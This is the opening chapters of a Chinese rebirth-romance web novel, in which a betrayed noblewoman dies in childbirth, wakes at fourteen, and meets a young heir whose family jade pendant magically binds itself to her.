《重生之嫡女风华》
1. 楔子
六月的午后，前一刻还艳阳高照，这会天空又忽然暗了下来，仿佛一场愤怒的怒涛正在向大地倾泻，令人不由自主地打起寒颤。
毓秀院。
一阵撕心裂肺的叫声传来，一盆盆血水不断地被端出屋外。屋内，苏映雪脸色如纸般惨白，无力地躺在床榻之上。她大汗淋漓，湿漉漉的发丝凌乱地粘在面庞，原本娇艳动人的容貌此刻因极度的痛苦而扭曲。她能清晰地感觉到肚子里的孩子正渐渐地失去动静，心中涌起极大的恐惧。
产婆看了一眼苏映雪，似乎有些不忍，微微叹了口气。
一旁的妇人严厉的瞥了一眼产婆，产婆缩了缩脑袋。
映雪正艰难地转脸过来，恰好瞧见产婆的异样，随即怒视产婆，产婆心虚，眼神闪烁，似乎在掩饰着什么！
哪怕平日里天真单纯的苏映雪也感觉到了不对劲，心中充满了疑惑与恐惧，攒着力气，对一旁的妇人质问：“为什么？江嬷嬷，你为什么要背叛我？到底是谁指使你的？”
江嬷嬷侧着身子，没有说话。
苏映雪见状，讥讽笑道，“嬷嬷，我就要死了，死前都不让我做个明白鬼？你就不怕我带着怨恨化成厉鬼夜夜来找你寻问？”
江嬷嬷叹了口气，道：“少奶奶，有时候糊涂未必是件坏事。”接着双手合十，许愿道，“愿您来生，父母双全，嫁个如意郎君。”
“是了，还有夫君，夫君呢，夫君他知不知情？”映雪囔囔道。然而并没有人回应。
“陈煜安、陈煜安.....，”苏映雪突然大声呼喊，像是要用尽全身的力气把他唤过来。
吱嘎一声，门扉轻启。
一位绝色女子款步走来。她眉如远黛，眼若秋水，眼眸中含着一抹浅笑。
她先是朝屋内看了一眼。
随后又对着江嬷嬷吩咐道：“你们就在外面候着吧，我跟表姐说几句话。”
转身过来，就用绣帕紧紧地捂住了鼻子，似是嫌弃屋子里的血腥味。
苏映雪有些意外，江嬷嬷怎么会是向表妹的人。
向莞宜低头打量着正趟在床上狼狈不堪的表姐，眼神中含有一丝复杂。
苏映雪紧紧盯着向莞宜，质问道，“为什么？”
向莞宜没有回答，反而问道，“表姐，你可知晓，夫君为何会看中你？”
苏映雪闻言，脸色骤变，原本就惨白的脸上竟看不出一丝活气。
向莞宜似是有些得意，“是我，要不因为我，你以为夫君会娶你？”
苏映雪愣住，不可置信道，“你为何要这样做？”
说罢，就见向莞宜脸上带着一丝嘲弄，“自然是因为我的身份配不上侯府，夫君怕娶了别人会委屈我。”
见苏映雪被打击住，又笑道，“表姐从小就对我好，我知只有表姐嫁给夫君才不会委屈我，这两年来我也没看错表姐呢。”
苏映雪嘲讽道，“所以你就是这样报答我的？”
向莞宜摇摇头，叹气道，“我也不想的，我还为表姐肚子里的孩子亲手制了衣裳呢，我知表姐一向不爱做这些。”
苏映雪正满心疑惑，随即就听到向莞宜朝着她面容狰狞地吼道：“哼！谁叫你让夫君竟对你动了真心？你可知，就连他躺在我身边之时，梦中呼喊的都是你的名字。”
苏映雪闻言，不知是该哭还是该笑，讪笑道，“就因为这个你就要害我？”
向莞宜却不以为然，嘲笑道，“表姐以为谁都跟你一样天真呢！你可知我为此谋划了多少年？又怎会给你做嫁衣。”
见苏映雪满脸的不理解，好像比谁都要无辜，向莞宜心中升起一丝戾气，她忽然很想见到表姐失态样子。
随即脸上带着一丝诡笑，对映雪笑道，“如今姨母也算是如愿了，敏哥儿也顺利袭爵了，姨母终于不用再提心吊胆，被人查到继子之死与她有关了。”
苏映雪的脸瞬间扭曲，双眸圆睁，死死盯着向莞宜，仿佛要从她的脸上看出一丝虚假。拼尽全身力气，声嘶力竭地吼道：“你说什么？”
向莞宜这才满意地笑出声来，缓缓道：“看在你这些年一向待我不薄的份上，告诉你也无妨，你还真以为你大哥惊马是意外？你父亲剿匪被刺是意外？哈哈，你还是一如既往的天真呐。我就从未见过这世上真
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有哪个后母会真心疼爱自己继女的。亏你还一向信任后母多过自己的亲人，等你到了地府与他们团聚，他们不会怪你这般天真吧。”
说完，向完宜转身离开。
行至门口之处，脚步微微一顿，又缓缓回头望了她一眼，轻声道，“表姐如今也算是解脱了，我若是你，就算活着，怕也会觉得生不如死。”
待向莞宜渐渐走远，苏映雪终于无法忍耐，猛地朝床外喷出一大口鲜血。鲜血飞溅，洒落在旁边绣着并蒂莲的屏风之上，鲜红的颜色与屏风的素雅形成了鲜明的对比，触目惊心。
“哈哈哈……”苏映雪发出一阵讽刺至极的大笑，那笑声中满是悲愤与绝望。滚热的泪水夺眶而出，沿着眼角缓缓流淌，最终没入发间。
大哥马术向来极佳，倘若只是正常的惊马，又怎会被马蹄重重踩至胸口，以致重伤而亡呢？回想起在大哥出事之前，大哥曾数次有意无意地向她提及继母之事，可那时的她却责怪大哥对继母存有偏见。若是当时的她能将大哥的话听进心里，或许大哥就不会遭遇这般意外。
还有父亲，为何会在剿匪时被刺？如今想来，也是疑点重重。
苏映雪好恨。若有来世，她定要守护亲人，让那些害了她亲人之人付出代价，不再被情爱蒙蔽，要变得强大。
她又想起那天。
母亲忌日，她去昙华寺烧香，半道上，马车车轱辘突然损坏，正焦急失措，身后传来一道如沐春风般的温柔声。
她扭头看去，姿貌端华，挺拔俊雅。
她怦然心动。
苏映雪艰难地转过头去，目光落在了床案上的那尊玉雕人偶上。那是在她今年生辰之时，陈煜安赠予她的生辰之礼。那尊人偶乃是他依照她的模样，精心雕琢而成。
她曾因这份礼物满心欢喜。
现在想来，却只觉得无比讽刺。
她想要伸手去触碰它，费尽力气。
嘴角慢慢溢出鲜血，她忽然笑了。
终于，手指触碰到了人偶。紧接着，她猛地一发力。
只听“嘣”的一声，
玉雕人偶碎落在地。
2. 重生
头昏昏沉沉的，仿佛整个人都在旋转。
映雪感觉到有人轻柔地托起她的头，指尖刚好触碰到她后脑的疼痛之处，一丝尖锐的刺痛令她不由自主地蹙起了眉头。
“怎么回事，马车怎么突然停了，我刚才只听到‘砰’的一声闷响，姑娘的后脑勺就撞到车厢壁上了，姑娘好似晕过去了。”充满担忧与焦急的声音在耳边响起，竟是那般熟悉，让映雪恍惚间以为自己置身于梦境之中。
另一道声音则平静得多：“我刚询问过车夫，是车轱辘断了。你在暗箱里找找，我记得里面有药，你先给姑娘闻闻，看姑娘能不能醒过来。”
“姑娘醒来后，指不定会有多着急呢，给先夫人安排的祈福时辰就快到了，若再拖延，怕是要赶不上了。”那声音再度响起，带着些许急迫。
这声音像是竹韵。
苏映雪心中涌起一阵酸楚，自己已经多久没有听到竹韵的声音了？差不多有四年了吧。此时梦见竹韵，是因为内心深处的愧疚吗？
在她及笄后未过多久，侯府后院竟被查出有丫鬟与前院小厮私通，情形甚是恶劣。老夫人为此大发雷霆，命大夫人对各院丫鬟严加搜查，言明若有此类犯者，必定严惩不贷。
后来，便在竹韵的柜子里当场搜出物证，致使竹韵有口难辩。竹韵随即跪下辩解，声称自己完全不知这些东西究竟从何而来。可当时的她全然听不进去，只认为竹韵让自己颜面尽失，还致使她遭到苏沁雪的嘲笑，于是便任由大夫人将竹韵拖了出去，拖拽中，她见竹韵模样凄惨，有些心软，正要上前阻止，却见余婆子赶来向大夫人求情，说竹韵与她儿子乃是两情相悦，恳求大夫人将竹韵许配给她儿子。那些物证则是她儿子送给竹韵的订情信物，原准备在她及笄后就向她求娶竹韵的，只是突然出了事，便耽误了。那一瞬间，她只觉得愤怒，觉得自己身边最器重最依赖的丫鬟竟瞒着她，与府里的下人私相收授。
余婆子是负责厨房江管事的媳妇，而江管事又是大夫人的陪嫁，故而余婆子在大夫人跟前也算有几分薄面。大夫人便让余婆子把竹韵领走了。
她冷眼旁观竹韵拼命地摇头，却只能眼睁睁看着竹韵被余婆子给拽走。
之后，她就再也没见过竹韵了。直到她嫁进宁诚侯府不久，有次回了永安侯府，竟听到丫鬟提及竹韵，连声感慨竹韵命苦。说是竹韵在小产后，竟惨遭醉酒的丈夫殴打，最终重伤不治而亡。当时她听到这个消息，心里充满了后悔，只觉得是自己害死了竹韵。她与竹韵一同长大，怎能不加以调查就轻易相信了别人的话。
泪水从映雪的眼角滑落，柔软的帕子在她的眼角轻轻擦拭，还伴随着几声呼唤：“姑娘、姑娘……”
映雪缓缓睁开眼睛，朦胧中对上两张清秀美丽且瞒是担忧的面庞。
正是竹韵和白芷。
苏映雪匆忙擦去眼泪，环顾四周。
发现自己身处一辆装饰精致华美的马车之中，锦绣帷幔轻轻飘动，散发出淡雅的香气。
待她冲出马车仔细查看，车身由乌木打造，坚固且散发着深沉的光泽，车身上雕刻着精致繁杂的图案，四周垂挂着华丽的帷幔，用丝绸制成，上面绣着精美的花纹，下摆用流苏点缀，正是她未出阁时在府中所用的马车。
四处打量，前不着村，后不着店，不过竟有些熟悉。
竹韵被映雪突然冲出马车的举动狠狠吓到，赶忙三步并作两步追了过去，“姑娘，刚才可是被吓着了？”
话音刚落，映雪就猛地一把抓住了她的胳膊，情绪无比激动地问道：“这是在哪里？”
白芷也在其后匆匆跟了下来，赶忙解释道：“姑娘，今日是先夫人的忌日，我们正在前往昙华寺的路上。刚才马车突然坏了，急停下来，姑娘的头不慎被磕到了车壁上。”
苏映雪心中一震，她竟然回到了十四岁那年，正是与陈煜安相识的时刻。
当年母亲忌日，她前往昙华寺为母亲烧香祈福。半道上，马车突然损坏，她正焦急无措之时，恰巧遇上去昙华寺赏秋的陈煜安。陈煜安出手搭救，在同行途中，她被陈煜安的温柔和才华深深吸引，从而苏心暗许。
再后来，继母替她说亲，还体贴地安排她在帘子后面偷看。帘子对面的容貌正好与在马车外的人影重合，她暗自欣喜，以为是天赐良缘。
想到这场算计，映雪心里不禁冷笑，就算是在梦里，她也决不让他们如愿。
随即，脸色恢复平静，说道：“我没事，刚才以为是在做梦。”
“姑娘，现在该如何是好？马车估计一时半会儿也修不好了。”竹韵在一旁焦急地问道。
映雪放眼四望，远处恰好有一辆牛车朝这边缓缓驶来，随即便指向它说道：“就那辆吧。”接着吩咐道：“白芷，你过去找对方商量。”白芷抬眼望去，眼神中瞬间闪过一丝嫌弃，劝阻道：“那辆车恐怕有损姑娘的颜面。”
映雪的脸色刹那间冷了下来，“我都不在意，你倒来嫌弃？算了，你别去了，留在这里等马车修好后直接回府。”
白芷见映雪发怒，顿时慌了神，赶忙解释道：“姑娘，奴婢绝非这个意思。”
然而映雪却不理会她，直接带着竹韵朝牛车走去，随后便只见竹韵折返回来，把马车上的包袱取走，跟映雪一同坐上了牛车离开了。
竹韵坐上牛车，见映雪怒气仍未消散，误以为映雪是因为撞头之事而气恼，便劝解映雪道：“姑娘，白芷刚才也是一时心急，怕这牛车有损姑娘的尊贵身份，姑娘您受了撞头之伤，她心里也着急。”映雪听了这话，依旧沉默不语。
前世，她嫁进宁诚侯府不久，有次陈煜安应酬喝多了酒，她吩咐白芷送醒酒汤过去。未
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曾想，白芷竟趁机爬床。事后，她被婆母狠狠训斥，指责她连自己的丫鬟都管不好，还将这种不良的风气带进了宁诚侯府，令她在众人面前丢尽了颜面。
映雪嗤之以鼻，既然她那般想成为陈煜安的人，那自己便给她这个机会。
昙华寺坐落在京城边上的九溪山，占据整个山头，周边风景极其秀美，尤其当下那片红枫，如天边的晚霞般璀璨绚烂，艳丽夺目。
昙华寺风景绝美，附近有清风谷、三叠泉、霞观峰、盼归松、玉虹瀑布，吸引了除信众之外众多的文人雅士。
这一日，来昙华寺上香的人密密麻麻，可见昙华寺香火之旺盛。
距离正殿百米处，映雪便下了车，抬脚朝着那九十九级台阶迈去。
台阶之下是喧嚣尘世，台阶之上，是神圣庄重的庙宇。
昙华寺的了澄大师是大乾的国师，听说每年会为一位有缘人推命，所以来昙华寺碰运气的人也特别多。
自映雪懂事起，每年母亲忌日，她都会来昙华寺为母亲诵经祈福，寺里的迎客僧都认得她。
祈福的僧人们已准备妥当，待映雪跪下，双手合十，那悠悠袅袅的梵音即刻在庄严的大殿里缓缓回荡开来，映雪的思绪也随之悠悠飘远。
她不知自己为何能死而复生，或许是上天垂怜。
待祈福结束，映雪便要去枫林赏枫，行至姻缘殿旁时，竹韵问道：“姑娘，可要去求签？”
昙华寺的姻缘签极受欢迎，未嫁女来昙华寺，必去姻缘殿。
映雪摇头，她上辈子被情所伤，今生只愿守护好亲人。
没走几步，一个僧人匆匆追了上来，出声喊住了映雪，接着便将一张签文递到了她的手中。
映雪一脸茫然，说道：“我刚并未求签。”僧人没有回应，只念了句“阿弥陀佛”，便转身离去了。
打开签文，只见上面写着：“前尘因果今显现，一切皆由天注定，顺其发展心淡然，积善累德运自通。”
而签文上竟是了澄大师的印章。
映雪顿时惊得呆怔在原地，仿若被电击一般。
所以了澄大师知道她重活一世？
映雪释怀，随后浅浅一笑。
昙华寺的枫林名声远扬。
这个季节的枫林最为美丽，随着脚步的深入，入目之处，那一片片火红的枫叶如燃烧的云霞般绚烂夺目，在微风中轻轻摇曳，仿佛跳动的火焰。
远处的枝头，偶尔有枫叶打着旋儿飘落，如同翩翩起舞的精灵，为这美丽的景象更增添了几分灵动与俏皮。
映雪的心情也随之变得欢快起来。她想要大声呐喊，表达内心的喜悦和畅意，就在这时，前方传来了窸窸窣窣的声音....
忽然间似乎有什么活物猛地撞击在她的腿上，映雪紧闭着双眼惊恐地尖叫起来。
3. 初遇
竹韵闻声匆忙跑过来，瞧见只是一只小兔子，随即长长地松了口气，安慰映雪道：“姑娘，是只小兔子。”
映雪这才敢缓缓睁开眼睛，低头一看，竟是一只洁白的小兔子。她蹲下身子仔细查看，却见小兔子的右腿鲜血汩汩流出，顿时双眉紧蹙，正欲将其抱起检查。
一道慵懒的声音朝她传来：“放下那只兔子。”
映雪闻声望去，一位身着深紫色锦袍的年轻男子进入眼帘。面容俊朗，五官深邃，身形挺拔，气质高贵，随意的神情带着些许不羁，手中拿着一个弹弓。
映雪顿时心生不悦，反驳道：“这兔子撞到我身上，便是我与它的缘分，你怎能这般蛮横无理。”说着，她抱起小兔子，怒视着那位男子。
许牧舟一时语塞，这看似单纯天真的小娘子，嘴巴竟如此厉害，脸上却满不在乎，坚持道：“它是我打中的，自然归我。”
映雪一听，更是怒火中烧，指责道：“此地乃是佛门清净之所，你在此杀生，难道全然不懂得敬畏佛门吗？”接着又说道：“虽说你打中了兔子，可它逃走了，那就不再归你所有。”
许牧舟向来厌烦女子的麻烦，也不想与女子过多纠缠，正打算就此作罢。
身边的随从双喜却追了过来，问道：“世子，兔子可找着了？已经生好火了。”
说着，感觉氛围不对，抬头望去，只见正前方站着两位姑娘，其中一位身着浅粉色长裙、貌若天仙的绝色佳人，一双澄澈如秋水般的眼眸正怒瞪着他家世子。
双喜瞬间眼神一亮，忙询问身边的世子爷：“世子，这位莫非是桃花姑娘？”
许牧舟闻言，一时没领会双喜的意思，双喜嘿嘿一笑，提醒道：“大师不是说世子爷近期要红鸾星动，桃花将至吗？”
许牧舟气恼，拍了下双喜的脑袋：“胡言乱语些什么，再乱说，扣你月钱。”
瞥了一眼映雪，只要一想到会与这般伶牙俐齿的女子有缘，心中便不由得涌起一阵哆嗦。
说着，便匆匆离开了。
映雪看着两人离去，这才安下心来，轻轻抚摸着怀中躁动不安的小兔子。
竹韵有些忧心，“姑娘，您刚才有些冲动了，幸亏那位公子不是坏人。”
映雪撇嘴道：“他不光要杀生，还要在佛门里吃肉，简直是罪上加罪。”
竹韵劝道：“枫林深处，向来少有人至，那位公子一看就是精通武艺之人。万一姑娘在言语上激怒了他，他要是伤害小姐，咱们可真是毫无招架之力。”
听了这话，映雪也感到有些后怕，紧接着又想起那位随从对他的称呼，于是问道：“刚才那位小厮喊他世子，你可知是哪个府上的世子？”
竹韵摇摇头，“奴婢未曾见过，并不知晓。”
映雪心中轻叹，上辈子她活到了十八岁，京城竟还有她未曾见过的世子，想来前世的自己真是被陈煜安迷惑了心智，眼中只容得下陈煜安一人。
映雪没了赏枫的兴致，打算离开。突然，余光无意间瞥见那位公子刚刚离开的地方，地上似乎有一道奇异的光芒瞬间一闪而过。
心中好奇顿起，于是抬脚朝着前方走去。
低头一瞧，竟是一块翡翠凤凰玉佩，色泽翠绿纯净，雕琢得极为精巧，想必是刚才那位世子掉落的。
映雪有些犯愁，究竟要不要理会这块玉佩，算了，还是捡起来交给寺里的僧人吧，想来僧人应该会认识那位世子。如此想着，她便伸手去触碰玉佩，可刚一拿起，许牧舟和那位随从就找了过来。映雪刚要开口解释，两人就眼睁睁地看着玉佩直接飞起，急速冲向那名女子的脖颈，而后稳稳地戴在了女子的脖子上。
映雪的脸色瞬间涨得绯红一片，赶忙手忙脚乱地解释道：“我真的没有觊觎这块玉佩啊，我压根都不清楚它怎么就跑到我脖子上了，你们到底信不信？”许牧舟一时不知该如何接话，脸上满是无可奈何的神情。
方才他瞧得真切，玉佩的确是从女子手上飞起冲到她脖子上的，他也是头一回见到玉佩能自己飞起来。
小时候，祖父将玉佩交给他，说只有他的命定之人才能佩戴，他当时以为祖父是骗他的，区区一个玉佩，哪会如此神奇，如今亲眼目睹玉佩的神奇之处，心情极为复杂。
语气沉闷地回应道：“信，我眼睛不瞎。”
映雪见他相信自己，这才安下心来，同时也为自己手贱的举动懊悔不已。
转头对竹韵吩咐道：“你帮我把玉佩拿下来。”
竹韵走到映雪跟前，她的手刚碰到玉佩，陡然一股刺痛猛地传来，惊得她赶忙松开手。待再次去触碰时，更为强烈的痛意汹涌袭来，额头瞬间冒出冷汗，惊恐地说道：“姑娘，这玉佩好生怪异，奴婢一碰到它，手指就传来钻心般的疼痛。”
映雪并不信，抬手尝试，刚摸到玉佩时，从指尖传来一阵极其细腻温润的感觉，然而当她想要提起玉佩时，玉佩却纹丝未动，再试一次，她的手甚至都抬不起来。
映雪焦急万分，眼看就要哭出来了，红着眼眶朝着
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许牧舟嚷道：“你这是什么破玉佩啊，怎么这么邪乎，戴上了居然还取不下来？”
许牧舟亦是满心好奇，也顾不上男女大防，随即朝着玉佩伸出手。瞬间，一股强烈的灼烧感猛地袭来，他强忍着那仿若要将手掌烈火焚尽般的剧痛，试图把玉佩摘下，可最终还是不得不松开了手。
接着，他朝一旁的双喜吩咐道：“你去试试。”双喜战战兢兢地走上前去尝试，刚一触碰，一股极度寒冷的凉意汹涌而至，似乎要将他的手瞬间冻住，他惊慌失措地赶忙甩开玉佩，随后猜测道：“世子爷，这块玉佩定然是极其喜欢这位姑娘，把咱们都当成抢玉佩的坏人了。”紧接着，他又不禁慨叹起来：“曾听闻极好的玉是通人性的，可还真未曾见识过像这块玉这般通人性的。”
闻言，许牧舟的脸色变得极为难看。
映雪深受打击，急切地向许牧舟问道：“那这玉佩眼下该如何是好？”
许牧舟也是头疼万分，虽说这是他的玉佩，可玉佩压根没把他当作主人。
轻轻捏了捏额头，而后缓缓说道：“这玉佩你暂且先戴着吧，待我今日回府询问过长辈之后再作计较。”
映雪稍作思索了一番，便也点头应允。
双喜则忍不住惊叫道：“世子爷，夫人可是罚您在昙华寺思过五日呢，这才过去三日，您今儿个就要回府了吗？”
许牧舟险些被双喜这没脑子的话给气得背过气去，什么话都往外秃噜，难道就不晓得给他留点颜面吗？
懒得搭理这傻货，匆匆迈步离开。耳边还传来双喜絮絮叨叨的声音：“回去好哇，吃了三天的素食，总算能吃到千味楼的烧鹅喽。”
许牧舟行至半途，方才想起竟忘记询问那女子的身份，倘若有了玉佩的消息，都不知该如何联系。随即，他又摇了摇头，罢了，若真是他的命定之人，想来总归是会再次碰见的。
映雪望着那渐行渐远的主仆二人的身影，随后不禁笑出了声。
竹韵见姑娘的心情有所好转，也跟着打趣那二人：“怪不得会想着烤兔子吃呢，原来是已经吃了三天的素食。”
映雪微微挑眉，轻轻摩挲着手中的玉佩，心中暗自思忖，这人或许也并非自己先前认为的那般不堪。
随后蹲下身子，轻柔地抱起脚边那只小兔子，缓缓说道：“回府吧。”
接着又想起玉佩之事，神色庄重地叮嘱竹韵道：“关于玉佩的这桩事，你切不可向任何人说起。”
竹韵赶忙应道：“是。奴婢明白。”
4. 景阳侯府
傍晚时分，许牧舟的身影前脚刚踏入府中，便立刻被下人火急火燎地通报到了侯夫人那里。
还没来得及坐下，就被传唤到了侯夫人的正院。
侯夫人凝视着正迈步进来的儿子，眉头紧皱，满脸忧愁，心中暗自琢磨，这孩子怎么如此不开窍，难道真有什么毛病不成。
许牧舟踏进正屋，当即一屁股重重坐在那由黄花梨木制成的椅子上，接着顺手给自己倒了一杯茶水，“咕噜咕噜”几声，就将杯中的茶水一饮而尽。缓了口气后，才张了张嘴，声音带着些许慵懒和不满说道：“娘，您把儿子叫来所为何事？儿子我肚子正饿着呐。”
侯夫人不禁没好气地回道：“我还没问你呢，明明罚你在昙华寺思过五天，这才第三天，你怎么就回来了？”
许牧舟慵懒地斜靠在那黄花梨木椅的椅背上，眼皮微微耷拉着，漫不经心地随意说道：“哦，娘，儿子提前回来是有紧急的事要办呐。”
侯夫人听了，眉头一挑，眼中明显流露出不信的神色，撇嘴道：“你能有什么要紧的事？哼，侯府现在最要紧的事就是你赶紧给我娶个媳妇回来，别整天没个正形。”
许牧舟一脸无奈，眼眸中流露出些许烦闷，随后他又强打起精神，故意做出一副试探的模样，慢悠悠地开口问道：“娘，您还记得祖父当年给我的那块家传玉佩吗？那块玉佩它有没有什么神奇的地方？如果这块玉佩不小心给掉了，那会怎么样？”
侯夫人一听这话，顿时警惕起来，“你说的急事，该不会是你把祖父传给你的那块玉佩给弄丢了吧？”
赶忙连连摆手否认道：“没有、没有，娘，我只是随口那么一问而已。”
侯夫人听他这么说，紧紧盯着他看了好一会儿，确认他不像在说谎之后，这才长长地舒了一口气，放心地说道：“没掉就好，要是真掉了，哼，就算是要把昙华寺掘地三尺翻过来，我们侯府也一定要把它找到。”
许牧舟有些不好意思地挠了挠自己的头，脸上露出不太认可的神情，撇了撇嘴嘟囔道：“侯府也太大惊小怪了吧，不就一块小小的玉佩嘛。”
侯夫人一听，狠狠地瞪了他一眼，“哼，这话你有本事去跟你爹说去，看你爹不把你的腿给打折了。”
许牧舟这下子也真切地明白了侯府对那块玉佩的看重程度，他皱着眉头思索了片刻，而后又神色郑重地问起：“那娘，您知不知道那玉佩到底有何神奇之处？”
侯夫人轻轻摇了摇头，脸上带着一丝思索的神情，缓声道：“我不曾见过它有什么特别的。只是听说啊，只有那玉佩的有缘人才能见到它的神奇之处。你祖父当年曾说过，这玉佩与你有缘，但一定要找到你的命定之人。”
闻言，许牧舟不禁皱起了眉头，心中暗自思忖着：玉佩的事看来要再缓一缓了。他的脑海中浮现出那玉佩如今正戴在一个女子的脖子上的画面，不禁暗暗叫苦，要是被娘知道了这个情况，恐怕明天侯府的人就要风风火火地去下聘了。
想到此处，脸上露出了一丝无奈和担忧的神情，似乎在思考着应对之策。
猛地站起身来，说道，“娘，我先回去了，您好好休息。”
刚起身便被侯夫人喊住，“等一下，娘还有事情交待你。”说着脸上竟是露出了一脸的喜色。
许牧舟不由地挑眉，一脸疑惑地看着侯夫人。
接着侯夫人面带微笑地问道：“娘问你，岚姨你还记得不？
侯夫人见许牧舟不说话，以为他不记得，便又提醒道，“你小时候娘还经常带你去她府里玩，她还经常给你点心吃。”
“哦，是娘的手帕交岚姨啊，有点印象，怎么了？”许牧舟很是随意地问道。
侯夫人兴致勃勃地说道：“你岚姨的夫君最近升职，要回京城。他们还有个女儿清儿，正好比你小三岁，也刚好到了说亲的年纪。你岚姨给娘写信，打听这京城有没有适合的人家。娘想着，这不正和你是天定的缘分么！我可告诉你，等岚姨他们回京，到时候娘会宴请他们一家，顺便介绍你和清儿认识。你要是再像上次一样使坏，你看娘怎么收拾你！”侯夫人说着，两眼紧紧地瞪着许牧舟，狠狠地说道。
许牧舟听言有些无语，心中暗自嘀咕道：娘这十次找他，有八次都与他的亲事有关，还次次都说是什么天定的姻缘啊。
心里暗自叫苦，“他才不想成亲，成亲了，既要被娘管着还要被媳妇管事。”想到这里，他只觉得头皮一阵发麻，仿佛已经看到了未来悲惨的生活，女人就是麻烦。”
“行了，娘。”许牧舟赶忙摆摆手，脸上带着一丝敷衍的神情，嘴里说道，“我知道了，到时候再说。”说完，脚底抹油似的，快速地转过身，迈着大步就往门外溜去。
侯夫人见儿子跑的这么快，就知道他根本没放在心上，更是气不打一处来。
对着身边的嬷嬷发愁：“你说世子什么时候才能开窍呢？他都十九了，和他同龄的人孩子都能找酱油了，可他偏偏避女人如蛇蝎。”
景阳候府九代单传，就许牧舟一个独子，诺大的候府，孩子都没一个，候夫人与老夫人为了许牧舟的亲事，也是愁的睡不好觉。
偏偏世子顽固不化，越想让他成亲，就越跟你反着干，经常气的候夫人一口一个孽子。
嬷嬷安慰道：“夫人，世子只是还没遇到合适的人，等他遇到了，自然就会开窍了。”
候夫人叹了口气，道：“但愿如此。”
许牧舟回到临风轩，双喜就端着膳食走了过来。
用完膳后，闲着无事，便在院子里练剑，只见他身姿矫健，剑影在阳光下闪烁着寒光。
一番畅快淋漓的练剑结束后，许牧舟满身是汗地回到房间。舒舒服服地洗漱了一番，挑出一套清爽的衣服换上，随后，向侯府
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书房走去。
到了书房，许牧舟便开始仔细翻找起来，然而，一番忙碌过后，却始终都没有找到任何有关玉佩的信息，脸上渐渐露出一抹失望的神情。
映雪从昙华寺回到府上，随即就吩咐竹韵将受伤的兔子带下去进行医治，同时搭建一个小窝，以便好生饲养。
待到晚膳用过之后，绿绮端着茶水缓缓走了过来。她脸上的神情仿若带着些许不忿，恰似心里憋着什么话语似的。映雪微微挑起眉毛，显得漫不经心，问道：“你这是怎么了，有事？”绿绮将茶水小心翼翼地递给映雪，嘴巴一撇，带着几分气恼说道：“还不是白芷，自从从昙华寺回府之后，就一直摆出一副受了天大委屈的模样。”说到此处，绿绮的语气中增添了更多的不满，“竟然一下午的功夫，映月阁的几个小丫头都被她骂哭了，可她还不依不饶的，真当是江嬷嬷不在，就把自己当成管事嬷嬷了。”说完，绿绮还气鼓鼓地轻哼了一声，显然对白芷的行为极为看不惯。
竹韵微微蹙起眉头，轻声斥住了绿绮，绿绮却不以为然。
映雪见状，心头不禁涌起一抹叹息。
绿绮性子莽直，常常容易得罪人却浑然不知。除了竹韵，与其他的丫鬟相处皆存嫌隙。在她十四岁那年，有一回她的首饰遭窃，此事被丫鬟们闹得沸沸扬扬。大夫人亲自出面调查，这其中涉及到了绿绮，绿绮心中不服，坚称自己是被人陷害，却因其言语莽撞冲撞了大夫人，最终被大夫人发卖。
也正因为如此，前世在她嫁进宁诚侯府之前，便折损了两个丫鬟，致使她后来身边连一个忠心的丫鬟都没有。
随即，映雪的脸色变得严肃至极，语气凝重地对绿绮说道：“绿绮，我知晓你心怀正义，只是在这深宅内院之中，最为重要的便是谨言慎行。你今日说白芷无事，倘若哪天你没管住自己的嘴，冲撞了其他的人，你能确保自己一定能够安然无恙地全身而退吗？”
绿绮闻言，脸色“唰”地一下变得惨白，这才惊觉害怕起来。
见绿绮的眼神中流露出了惧意，映雪这才稍稍觉得心安了些。轻舒了一口气，缓声说道：“白芷的事情我已知晓，她要是不想在映月阁待着，那我便成全了她。”说这话时，映雪的眼眸中悄然闪过一丝不易察觉的冷意。
接着又吩咐绿绮道：“你这段时日也留意观察一下今日这马夫与白芷之间有无异样。”
绿绮应道：“是。”
随后又问起竹韵，“江嬷嬷回老家探亲还有多久回来？”
竹韵以为姑娘是想念江嬷嬷了，赶忙回道：“江嬷嬷的老家在江南一带，路途遥远，恐怕还要十几天呢。”
映雪微微点头，表示已经知晓。思绪飘飞，忆起前世，她与陈煜安相识之后动了心，江嬷嬷回府之后察觉到了异样，还曾私下劝过她。谁曾想到，这个对她看似忠心耿耿的贴身嬷嬷，最后竟然会背叛她。
5. 请安
夜晚，屋子里灯火通明，映雪只留了竹韵在旁伺候。
竹韵走到床前，动作轻柔地将纱账放下，轻声说道：“姑娘，夜深了，您该歇息了。”
映雪不敢入睡，她明明已经死去，却又回到了四年前，她害怕自己一觉醒来，就在地府的奈何桥上排队等着喝孟婆汤。
映雪打了个呵欠，即便再不舍得睡，也抵挡不住身体传来的困意。
第二天醒来，映雪望着头上的天蓝色罗账，欣喜若狂，自己还在映月阁。
穿好衣裳，用竹盐漱了口，坐在西洋镜前梳妆打扮。
白芷的神色已恢复正常，给映雪挑了件浅紫色的锦绣罗裙，简单梳了个单髻，一头乌黑亮丽的长发被一根精美的紫玉簪挽起，既显得端庄又透着灵动。
不经意间，目光扫过映雪的脖子，竟瞥见脖子上似乎戴着一根黑绳，心中顿觉有些奇怪。不过转念一想，或许是姑娘在昙华寺求来的平安福吧。
用过早膳，映雪带着丫鬟前往如意院。
院子里的几个丫鬟正在清扫，抬头看见是映雪，连忙停下给映雪行礼。
屋内，大夫人刚用完早膳，正在喝茶，听到门外的动静，抬头看到是映雪，脸上立刻绽放出关切的笑容，“映雪来啦，快进来。”
映雪有些迷茫，这关切的眼神，丝毫不见伪装，也难怪她前世眼瞎，只怪敌人太会伪装了。
这一世，她倒要瞧瞧，谁更会装。
映雪笑着走向大夫人，行了礼唤了声母亲。大夫人亲热地拉着她坐下，心疼又责备地看着她，“我听闻你昨日去昙华寺脑袋磕着了，可还疼？”
说着，她转头看向一旁的白芷，严厉说道：“你是如何照顾三姑娘的？三姑娘受了伤都无人前来禀报，还有何事能比姑娘的身子更为重要？”
白芷吓得赶忙跪地求饶。
苏映看着这一幕，只觉胃里一阵翻腾，强忍着不适，轻轻揽住大夫人的胳膊，柔声说道：“没什么大碍了，已经不疼了。”
大夫人见映雪确实安然无恙，这才罢休。
苏映雪又问起苏沁雪，“四妹妹是不是已经去祖母那了？我去找她。”
大夫人拍拍她的手背，笑道：“她也刚过去不久，你慢些走，仔细别摔着了。”
苏映雪行了退礼，这才带着白芷离开。
出了院子，白芷才敢松一口气。
荣晖堂。
映雪刚靠近正屋，屋内便已传来阵阵如银铃般清脆悦耳的欢声笑语。待绕过屏风，抬眸便瞧见里面站着三位身姿绰约的姑娘。
